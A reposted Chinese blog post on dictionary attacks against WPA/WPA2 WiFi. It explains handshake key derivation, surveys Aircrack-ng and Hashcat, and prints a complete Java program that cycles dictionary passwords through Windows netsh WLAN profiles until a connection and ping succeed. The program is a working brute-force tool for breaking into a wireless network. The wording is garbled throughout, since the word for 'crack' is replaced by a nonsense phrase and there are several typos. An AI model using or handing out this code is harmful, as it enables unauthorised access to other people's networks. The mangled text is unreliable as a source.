基于WPA的暴力激活成功教程(JAVA实现激活成功教程WIFI)

基于WPA的暴力激活成功教程(JAVA实现激活成功教程WIFI)基于WPA的暴力激活成功教程基于WPA四次握手协议的暴力激活成功教程在KRACK漏洞发现前,已知的激活成功教程WPA方法只有字典攻击。对于WPA-PSK这套体系,如果没有密码几乎没法窃听他的通信,在有了密码的情况下WPA的窃听也不具有WEP中窃听的随意性,在WPA中SNonce,ANonce(随机数)也很好的起到了加密数据防止窃听的作用。…

基于WPA的暴力激活成功教程

基于WPA四次握手协议的暴力激活成功教程

在KRACK漏洞发现前,已知的激活成功教程WPA方法只有字典攻击。对于WPA-PSK这套体系,如果没有密码几乎没法窃听他的通信,在有了密码的情况下 WPA 的窃听也不具有 WEP 中窃听的随意性,在 WPA 中 SNonce,ANonce(随机数) 也很好的起到了加密数据防止窃听的作用。在这里插入图片描述

基于四次握手的暴力激活成功教程

字典攻击作为一种常用的攻击手段要明白的是从哪里开始攻击, 要寻找和密码有有联系的信息元素。在WPA中和密码有联系的有 数据传输包和四次握手包。由于无法知道明文和 WPA的数据加密算法的复杂性,在数据传输包上要找到可以攻击的信息元素基本上很难实现,所以只能在握手包里寻找有密码有联系的信息。在上面的四次握手包的图片中很清楚的表明,在四川握手中主要传递的有如下数据:SSID,Amac,Smac,Snonce,Anonce,802.1x data(在图中没标出,这个数据帧用来生成MIC),MIC签名。前面 6 个元素很清楚,一般不会和密码有联系的。只有最后一个 MIC和密码有所联系。通过MIC的派生图我们知道,MIC是通过上面六个信息元素和密码通过三个主要的算法派生出来的。 实现方法如下:

  • 把字典里的密码作为PSK(预共享密钥),与SSID通过SHA1算法生成PMK,即:PMK=pdkdf2_SHA1(passphrase,SSID,SSID length,4096)(式 3.1-1)
    其中passphrase为PSK,4096表示函数迭代的次数。

  • 生成的PMK再与Amac和Smac,Anonce和Snonce生成PTK,即:
    PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”,MIN(Amac,Smac) || Max(Amac,Smac) || Min(Anonce,Snonce) || Max(Anonce,Snonce)) (式3.1-2)

  • 最后MIC KEY取值为PTK 的前16 个字节,然后和802.1x data生成MAC,即:
    MIC = HMAC_MD5(MIC Key,16,802.1x data) (式3.1-3)

  • 当在字典里找到一个密码他的 MIC’等于握手包中的 MIC,这时字典激活成功教程成功。这就是我们要的那个密码。如果把字典里的所有密码都找遍了还有没有符合上述条件的。那么激活成功教程失败。

常用WIFI激活成功教程工具

能否快速激活成功教程WiFi密码要看选用的激活成功教程工具,而能否激活成功教程WiFi密码最终要看字典是否足够强大。

  1. Aircrack是激活成功教程WEP/WPA/WPA2加密的主流工具之一,是 Kali Linux 里面最热门的 WiFi 激活成功教程领域的软件。Aircrack-ng套件包含的工具可用于捕获数据包、握手验证。可用来进行暴力激活成功教程和字典攻击。Aircrack-ng是一款多合一整合套件,该套件大致包含下列几种工具:
  • Aircrack-ng:无线密码激活成功教程
  • Aireplay:生成网络数据,去客户端验证
  • Airodump-ng:数据包捕捉
  • Airbase-ng:配置伪造的接入点
  1. Hashcat是自称世界上最快的密码恢复工具。它在2015年之前拥有专有代码库,但现在作为免费软件发布。适用于Linux,OS X和Windows的版本可以使用基于CPU或基于GPU的变体。支持hashcat的散列算法有Microsoft LM哈希,MD4,MD5,SHA系列,Unix加密格式,MySQL和Cisco PIX等。
    使用aricrack-ng暴力激活成功教程8位数密码需要50个小时, 但是使用Hashcat只要1个半小时不到。使用aircrac-ng激活成功教程密码的时候计算机会爆卡, 内存占用100%是常事, Hashcat不但支持CPU激活成功教程,还支持GPU激活成功教程,利用显卡的计算能力进行极速激活成功教程。即使使用普通的CPU或GPU,每秒也能够生成1.35亿个哈希值。

  2. WiFi万能钥匙[4]的基础功能并不是采用“密码库穷举(逐个尝试)暴力激活成功教程”的方式获得正确密码,而是通过用户上传分享的热点(主动或“被动”)到后台服务器的方式收集、积累数据。后台服务器维护一份热点数据库,其中包含着热点名称(或者用来唯一标识的MAC地址)以及与其对应的密码字符串。查询密码时,用户将周围扫描到的陌生热点信息上传,服务器后台查询到相对应的密码(如果分享过的话)后返回给APP供用户选择使用。不过WiFi共享钥匙有一个“深度解锁”的功能与“暴力激活成功教程”沾点边,但它也仅仅是使用几个常见的较为简单的密码来尝试连接热点,不能称得上算“密码库穷举”。现在WiFi万能钥匙充实密码库的方式主要是用户主动分享,毕竟用户基数变大了,但在以前可不是这样。早期的WiFi万能钥匙得到热点密码数据的手段并不高明,甚至可以说是不光彩的。

字典攻击代码实现

用JAVA实现了在windows系统暴力激活成功教程WIFI密钥的脚本。代码原理是生成对应WIFI的本地文件,然后使用调用控制台使用netsh命令进行网络连接,使用ping命令测试是否连接激活成功教程成功。
在这里插入图片描述
主机连接的WIFI都会在本地生成配置文件,内容包含了WIFI配置的关键信息。比如SSID信息:WIFI名name(划线处)以及对应的16进制hex,还有WIFI的加密方式以及预共享密钥。所以连接WIFI要生成本地的配置文件,让机器识别代码。

在这里插入图片描述
第一步就是连接本地字典,然后从字典读取密码作为PSK,第三步根据指定的格式以及PSK创建配置文件,第四步就是将配置文件添加到本地指定的位置。然后就是尝试连接网络。最后一步就是ping一个网站来测试是否连接成功。

实验结果以及总结

在这里插入图片描述
由于密码比较简单,所以尝试5次就激活成功教程了,但是上述代码中,每执行一次就要暂停3s,来等待连接结果,所以效率是很低的。

激活成功教程 WPA 是最好要在纯命令行下进行,在命令行模式下会执行的更快。他们的速度差异是:linux命令行最快398.24 k/s,windows下次之 264.93 key/s。这个也说明了像Aircarck类的无线激活成功教程软件都基于linux系统。所以激活成功教程 WPA在纯命令行模式下有更高效的优势。下面是在纯命令行模式下实测数据。 密码尝试数398.24key/s ,产生 PMK 的速度是193PMK/s PMK 库的增长数度是24.6kb/s ,直接PMK 库尝试密码的速度为57136.97key/s 。所以对于PMK的生成:
PMK=pdkdf2_SHA1(passphrase,SSID,SSID length,4096)
在这个函数里的输入值都很明了除了这个4096,这就是设计者加入的防范,他的意思让函数迭代 4096次,主要目的就是大大的降低字典攻击的效率,同时也增加了函数的复杂性。这个函数的消耗的时间占派生一个 MIC 的总时间的 99.3%,也就是WPA里其他算法消耗的时间只占不到总时间的 0.7%。所以建库激活成功教程就是先完成时间上99.3%的任务,产生一个 PMK 库。激活成功教程时只要完成时间上 0.7%的工作了。这也就解释了为什么建库比较慢。

源码

package wifi_crack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintStream;

public class WiFiCrack { 
   

 	//WiFi名
	 //public static final String WIFI_NAME="TP-LINK_1E4Adeng";
	 public static final String WIFI_NAME="iPhone";

 	//转16进制
	 //public static final String WIFI_NAME_HEX="54502D4C494E4B5F3145344164656E67";
	 public static final String WIFI_NAME_HEX="6950686F6E65";
	 
	 //CMD以及XML文件配置目录
	 public static final String path="E:\\wifi\\test";

	//.xml文件模板,变量为密码
 	public static String XML_FORMAT(String WIFI_PASSWORD) { 
    
  		return
  		"<?xml version=\"1.0\"?>\r\n" +
   		     "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\r\n" +
    		    "\t<name>"+WIFI_NAME+"</name>\r\n" +
    		    "\t<SSIDConfig>\r\n" +
     		   "\t\t<SSID>\r\n" +
     		   "\t\t\t<hex>"+WIFI_NAME_HEX+"</hex>\r\n" +
     		   "\t\t\t<name>"+WIFI_NAME+"</name>\r\n" +
     		   "\t\t</SSID>\r\n" +
    		    "\t</SSIDConfig>\r\n" +
    		    "\t<connectionType>ESS</connectionType>\r\n" +
    		    "\t<connectionMode>auto</connectionMode>\r\n" +
    		    "\t<MSM>\r\n" +
    		    "\t\t<security>\r\n" +
   		     "\t\t\t<authEncryption>\r\n" +
   		     "\t\t\t\t<authentication>WPA2PSK</authentication>\r\n" +
   		     "\t\t\t\t<encryption>AES</encryption>\r\n" +
    		    "\t\t\t\t<useOneX>false</useOneX>\r\n" +
     		   "\t\t\t</authEncryption>\r\n" +
     		   "\t\t\t<sharedKey>\r\n" +
      		  "\t\t\t\t<keyType>passPhrase</keyType>\r\n" +
      		  "\t\t\t\t<protected>false</protected>\r\n" +
     		   "\t\t\t\t<keyMaterial>"+WIFI_PASSWORD+"</keyMaterial>\r\n" +
       		 "\t\t\t</sharedKey>\r\n" +
       		 "\t\t</security>\r\n" +
     		   "\t</MSM>\r\n" +
       		 "</WLANProfile>\r\n";
	 }

	 public static void main(String[] args) throws IOException { 
   	
	 	//从口令字典读取密码
  	String password=null;
  	String path = "E:\\wifi\\弱口令字典.txt";
     	BufferedReader reader = new BufferedReader(new FileReader(path));
     	     //暴力激活成功教程
   	  int count=0;//尝试次数
  	while ((password = reader.readLine()) != null) { 
   	
 	 if(password.length()<8) { 
   
   	 	continue;//口令长度大于8
  	 }
 	  count++;
 	  // 创建配置文件,参数为口令
 	  createXml(password);
 	  // 添加配置文件
 	  addXml();
  	 // 连接网络
  	 conect();
  	 // 测试是否连通有网,先睡个3秒,识别网络有点慢,ping有点慢
  	 try { 
   
 	   Thread.sleep(3000);
  	 } catch (InterruptedException e) { 
   
   	 e.printStackTrace();
	   }	
  	 if (ping()) { 
   
 	 	  System.out.println("网络连接成功,密码是" + password+"|尝试次数为"+count);
  		  break;
 	  }
  	 else { 
   
  	  System.out.println("密码错误,尝试次数为"+count);
   	 System.out.println("---------------------------");
  	 }
  } 
 }
//先生成配置文件,只修改密码
 public static void createXml(String password){ 
   
  File file = new File(path,WIFI_NAME+".xml");
  try { 
   
   PrintStream ps = new PrintStream(file);
   String str = XML_FORMAT(password);
   ps.println(str);
   ps.close();
   System.out.println(".xml文件创建成功");
  } catch (FileNotFoundException e) { 
   
   e.printStackTrace();
   System.out.println(".xml文件创建失败");
  }
 }
//添加配置文件指令以及显示结果输出
 public static void addXml() { 
   
  try { 
   
   Process process = Runtime.getRuntime().exec(
     "netsh wlan add profile filename="+WIFI_NAME+".xml",
     null, new File(path));
   //打印执行结果
   BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
      String line = null;
      while ((line = bReader.readLine()) != null) { 
   
          System.out.println(line);
      }
  } catch (IOException e) { 
   
   e.printStackTrace();
  }
 }
//连接网络指令以及结果输出
 public static void conect() { 
   
  try { 
   
   Process process = Runtime.getRuntime().exec(
     "netsh wlan connect name="+WIFI_NAME,
     null, new File(path));
   //打印执行结果
   BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
      String line = null;
      while ((line = bReader.readLine()) != null) { 
   
          System.out.println(line);
      }
  } catch (IOException e) { 
   
   e.printStackTrace();
  }
 }
 //ping测试是否连接成功
 public static boolean ping() { 
   
  boolean flag=false;
  try { 
   
   Process process = Runtime.getRuntime().exec(
     "ping bilibili.com",
     null, new File(path));
   //存储结果
   BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
      String line = null;
      while ((line = bReader.readLine()) != null) { 
   
          if(line.contains("来自")) { 
   
           flag=true;
          }
      }
  } catch (IOException e) { 
   
   e.printStackTrace();
  }
  return flag;
 }
}

今天的文章基于WPA的暴力激活成功教程(JAVA实现激活成功教程WIFI)分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/27102.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注